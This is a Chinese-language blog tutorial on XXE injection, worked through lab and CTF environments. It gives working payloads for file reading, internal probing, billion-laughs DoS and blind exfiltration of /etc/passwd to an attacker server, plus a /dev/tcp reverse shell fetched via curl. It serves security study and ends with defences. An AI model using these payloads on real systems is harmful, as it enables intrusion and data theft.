Yoga7xm's Blog

XXE Study

字数统计: 3.8k阅读时长: 18 min
2018/11/20 Share

0x00 前言

XXE是一种很常见的漏洞类型危害也挺大的,如果一个web服务器通过用户上传处理XML文件或POST请求时,那么可能就会存在漏洞。

前段时间比较出名的微信支付的xxe漏洞

0x02 漏洞简介

XXE 就是XML外部实体注入。当服务器允许引用外部实体时,通过构造恶意内容来攻击网站


2.1 产生原因

解析xml文件时允许加载外部实体,并且实体的URL支持file://和PHP://等协议,没有过滤用户提交的参数。

2.2 危害

  • 读取任意文件
  • 执行系统命令
  • 探测内网端口
  • 攻击内网网站
  • DOS攻击
  • ….

0x03 XML+DTD基础知识

XML:

  • XML 指可扩展标记语言(EXtensible Markup Language)。
  • XML 是一种很像HTML的标记语言。
  • XML 的设计宗旨是传输数据,而不是显示数据。
  • XML 标签没有被预定义。您需要自行定义标签。
  • XML 被设计为具有自我描述性。
  • XML 是 W3C 的推荐标准。

XML 和 HTML 之间的差异:

XML 不是 HTML 的替代。

XML 和 HTML 为不同的目的而设计:

  • XML 被设计用来传输和存储数据,其焦点是数据的内容。
  • HTML 被设计用来显示数据,其焦点是数据的外观。

HTML 旨在显示信息,而 XML 旨在传输信息。两个语言均来自SGML语言

XML文档结构包括XML声明、DTD文档类型定义、文档元素。

其中,文档类型定义:

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。 可以在 XML 文档内声明,也可以外部引用

参考链接 : W3school DTD 教程

DTD引用方式:

1.内部声明: <!DOCTYOE 根元素 [元素声明]>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?xml version='1.0' encoding="utf-8" ?>

<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>

<note>
<to>James</to>
<from>Tim</from>
<heading>Message</heading>
<body>winner winner !</body>
</note>

2.外部引用: <!DOCTYPE 根元素 SYSTEM "外部DTD文件URI">

1
2
3
4
5
6
7
8
<?xml version='1.0' encoding="utf-8" ?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>James</to>
<from>Tim</from>
<heading>Message</heading>
<body>winner winner !</body>
</note>

其中note.dtd内容为:

1
2
3
4
5
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

3.引用公共的DTD (网络上的DTD文件):

<!DOCUTYPE 根元素 PUBLIC "DTD名称" "DTD文档的URL">

1
2
3
4
5
6
7
8
9
<?xml version=”1.0″?>   

<!DOCTYPE configuration PUBLIC “-//mybatis.org//DTD Config 3.0//EN”
“http://mybatis.org/dtd/mybatis-3-config.dtd”>

命名方法:以!DOCTYPE开始,configuration是文档根元素名称;
PUBLIC表示是公共DTD;-表示是非ISO组织;mybatis.org表示组织;
DTD 表示类型;Config 表示标签;3.0是标签后附带的版本号;
EN表示DTD语言是英语;最后是DTD的URL;

其中,外部引用可支持http、file等协议,不同语言支持的协议不同,但存在一些通用的协议。

默认协议:

PHP扩展协议:

0x04 漏洞利用

php环境下,一般xxe利用有两种情况:有回显和无回显。

有回显漏洞代码:

1
2
3
4
<?php
$xml=simplexml_load_string($_GET['xml']);
print_r((string)$xml);
?>

利用方式:可以构造xml进行提交,然后在页面中直接看到payload执行结果

1. 任意文件读取

可以利用各种协议可以读取文件:

比如file协议:

1
2
3
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE root [<!ENTITY file SYSTEM "file:///f:/1.txt">]>
<root>&file;</root>

将其URL编码后,提交

假如是php或者HTML等文件带有<>的,如果直接读取会出现解析错误,于是乎,需要利用base64编码,并结合php伪协议

1
2
3
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=xml.php">]>
<root>&file;</root>

同样进行URL编码后提交

2. 内网探测

探测端口:

假如访问并不开放的的端口

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:1234" >]>
<root>
<name>&xxe;</name>
</root>

假如访问存在的端口如80端口

攻击内网网站

若内网网站存在命令执行漏洞时,将以下bash.txt保存至自己的WEB服务器下:

1
bash -i >& /dev/tcp/192.168.1.161/8877 0>&1

然后发送以下payload获取bash.txt文件:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE XXE [
<!ELEMENT name ANY >
<!ENTITY XXE SYSTEM "http://127.0.0.1/hack.php?1=curl%20-o%20/tmp/1.txt%20192.168.55.129/bash.txt" >]>
<root>
<name>&XXE;</name>
</root>

然后打开监听端口,发送一下payload,获得反弹shellcode命令

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE XXE [
<!ELEMENT name ANY >
<!ENTITY XXE SYSTEM "http://127.0.0.1/hack.php?1=/bin/bash%20/tmp/1.txt" >]>
<root>
<name>&XXE;</name>
</root>

3.命令执行

配置不当/开发内部应用,并且PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://ls" >]>
<root>
<name>&xxe;</name>
</root>

4. DOS攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

原理就是递归引用,lol 实体具体还有 “lol” 字符串,然后一个 lol2 实体引用了 10 次 lol 实体,一个 lol3 实体引用了 10 次 lol2 实体,此时一个 lol3 实体就含有 10^2 个 “lol” 了,以此类推,lol9 实体含有 10^8 个 “lol” 字符串,最后再引用lol9,不断地占用系统资源。造成拒绝服务。

无回显漏洞代码:

1
2
3
<?php
$xml=@simplexml_load_string($_GET['xml']);
?>

利用Blind XXE 漏洞来构造一条外带数据(Out-Of-Band)通道来读取数据。

方法:

  1. 客户向服务器发送payload1
  2. 服务器解析执行payload1,然后向攻击者服务器获取恶意的DTD文件,并执行读取解析payload2
  3. 服务器带着回显结果访问vps特定的服务(HTTP or FTP)
  4. 通过VPS日志或者其他banner信息获得回显

payload1:

1
2
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://vps/test.xml"> %remote;]>

payload2:

1
2
3
4
<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'ftp://VPS:21/%payload;'>">
%int;
%trick;

这个是先将SYSTEM的file协议读取到的内容赋值给参数实体%payload,第二步是一个实体嵌套,trick是远程访问ftp协议所携带的内容

0x05 漏洞环境

1.Vulhub 环境及利用

此处借用P师傅的vulhub环境,libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡 .

  • PHP 7.0.30
  • libxml 2.8.0

git下来以后直接一键docker-compose up -d,然后打开8080端口即可。

该环境存在三个php文件,分别是用不同的函数处理xml

SimpleXMLElement.php

1
2
3
4
5
<?php
$data = file_get_contents('php://input');
$xml = new SimpleXMLElement($data);

echo $xml->name;

dom.php

1
2
3
4
5
6
7
<?php
$data = file_get_contents('php://input');

$dom = new DOMDocument();
$dom->loadXML($data);

print_r($dom);

simplexml_load_string.php

1
2
3
4
5
<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);

echo $xml->name;

POC

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE poc [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
<name>&xxe;</name>
</root>

这里用了file协议然后读取passwd文件,将其打印出来。

此时若将echo $xml->name;注释掉,就成无回显的XXE了。

这时可以借助引入外部实体,将获取到的文件内容发送到远程服务器上,查看日志能够获取文件内容。

1、在远程VPS服务器上写入 attack.dtd(我这里用win7)

1
<!ENTITY % evil "<!ENTITY send SYSTEM 'http://192.168.1.109/?%file;'>">

2、然后利用POC

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % xxe SYSTEM "http://192.168.1.109/attack.xml">
%xxe;
%evil;
]>
<root>&send;</root>

这里得注意实体xxe、evil、send的顺序,首先是利用xxe引用外部文件attack.xml引入到解释上下文中,然后执行%evil,这时会检测到send实体,在root节点中引用send,就实现了数据转发,查看access.log即可得到编码后的passwd文件。

2.Bee-Box环境

一个集成了多个漏洞的Web应用程序 官方下载

2.1 低级别

原始POST数据:

这里传输的是test/xml数据,所以修改数据,插入恶意代码

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY file SYSTEM "file:///etc/passwd" >
]>
<reset><login>&file;</login><secret>Any bugs?</secret></reset>

查看关键源码:

1
2
3
4
5
$xml = simplexml_load_string($body);
// Debugging
// print_r($xml);
$login = $xml->login;
$secret = $xml->secret;

没有经过任何过滤就将xml解析出来,故产生漏洞。

探测端口

这里可以通过burp爆破模块和自写py脚本进行利用端口扫描。

Dos攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<reset><login>&lol9;</login><secret>Any bugs?</secret></reset>

2.2 中高级别

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// Disables XML external entities. Doesn't work with older PHP versions!
// libxml_disable_entity_loader(true);
$xml = simplexml_load_string($body);

// Debugging
// print_r($xml);

$login = $_SESSION["login"];
$secret = $xml->secret;

if($secret)
{

$secret = mysqli_real_escape_string($link, $secret);

$sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'";

// Debugging
// echo $sql;

$recordset = $link->query($sql);

if(!$recordset)
{

die("Connect Error: " . $link->error);

}

$message = $login . "'s secret has been reset!";

}

else
{

$message = "An error occured!";

}

这里可以看出来$login这个参数是来自于Session中,不可控点。并且利用了mysqli_real_escape_string函数对$secret进行特殊字符的转义过滤。

3.jarvisoj 题目

传送门

设法获得目标机器/home/ctf/flag.txt中的flag值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<script>
function XHR() {
var xhr;
try {xhr = new XMLHttpRequest();}
catch(e) {
var IEXHRVers =["Msxml3.XMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"];
for (var i=0,len=IEXHRVers.length;i< len;i++) {
try {xhr = new ActiveXObject(IEXHRVers[i]);}
catch(e) {continue;}
}
}
return xhr;
}

function send(){
evil_input = document.getElementById("evil-input").value;
var xhr = XHR();
xhr.open("post","/api/v1.0/try",true);
xhr.onreadystatechange = function () {
if (xhr.readyState==4 && xhr.status==201) {
data = JSON.parse(xhr.responseText);
tip_area = document.getElementById("tip-area");
tip_area.value = data.task.search+data.task.value;
}
};
xhr.setRequestHeader("Content-Type","application/json");
xhr.send('{"search":"'+evil_input+'","value":"own"}');
}
</script>

前端源码,利用ajax发送json格式的数据包。burp抓包如下:

这里可以通过修改Content-Type然后提交恶意的poc进行XXE攻击get flag

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY file SYSTEM "file:///home/ctf/flag.txt" >
]>
<search>&file;</search>

4.Pentest Lab

传送门

将iso文件下载下来然后用virtualbox安装即可。打开主页

进入登录页面,要求输入账号密码进行登录,依旧burp抓包。

这里我们将Content-Type改成text/xml,然后再提交xml数据,观察响应

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /login HTTP/1.1
Host: 192.168.1.138
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.138/login
Content-Type: text/xml
Content-Length: 92
Connection: close
Upgrade-Insecure-Requests: 1

<?xml version="1.0" encoding="UTF-8"?>
<username>admin</username><password>admin</password>

很明显这里服务器解析了传入的xml数据,而且这里还是Blind XXE

依旧在宿主机上新建一个xxe.dtd文件,然后构造xml数据。

1
<!ENTITY % evil "<!ENTITY send SYSTEM 'http://xxx.ceye.io/?%file;'>">

然后提交POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /login HTTP/1.1
Host: 192.168.1.138
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.138/login
Content-Type: text/xml
Content-Length: 181
Connection: close
Cookie: PLAY_FLASH="error=Error%3A+Invalid+username+or+password"
Upgrade-Insecure-Requests: 1

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY %file SYSTEM "file:///etc/passwd">
<!ENTITY %xxe SYSTEM "http://192.168.1.166/xxe.dtd">
%xxe;
%evil;
]>
<root>&send;</root>

去ceye.io上收菜

0x06 漏洞检测

利用burp检测那些接受xml作为输入内容的节点,通过修改不同的字段,如 http 请求方法Content-Type 头部字段等,然后看看应用程序的响应是否解析了发送的内容,如果解析了,那么就有可能有 XXE 漏洞。

0x07 漏洞防御

  • 将PHP中libxml版本升级至2.9.0以后,默认不解析外部实体
  • 使用开发语言提供的禁用外部实体的方法
  • 过滤用户提交的xml数据,再进行解析

0x08 Reference

1.未知攻焉知防——XXE漏洞攻防

2.XXE漏洞以及Blind XXE总结

3.DTD 实体 XXE 浅析

4.XXE漏洞利用技巧:从XML到远程代码执行

5.XML介绍

CATALOG
  1. 1. 0x00 前言
  2. 2. 0x02 漏洞简介
    1. 2.1. 2.1 产生原因
    2. 2.2. 2.2 危害
  3. 3. 0x03 XML+DTD基础知识
    1. 3.1. XML:
      1. 3.1.1. XML 和 HTML 之间的差异:
    2. 3.2. DTD引用方式:
  4. 4. 0x04 漏洞利用
    1. 4.1. 有回显漏洞代码:
      1. 4.1.1. 1. 任意文件读取
      2. 4.1.2. 2. 内网探测
      3. 4.1.3. 3.命令执行
      4. 4.1.4. 4. DOS攻击
    2. 4.2. 无回显漏洞代码:
  5. 5. 0x05 漏洞环境
    1. 5.1. 1.Vulhub 环境及利用
    2. 5.2. 2.Bee-Box环境
      1. 5.2.1. 2.1 低级别
      2. 5.2.2. 2.2 中高级别
    3. 5.3. 3.jarvisoj 题目
    4. 5.4. 4.Pentest Lab
  6. 6. 0x06 漏洞检测
  7. 7. 0x07 漏洞防御
  8. 8. 0x08 Reference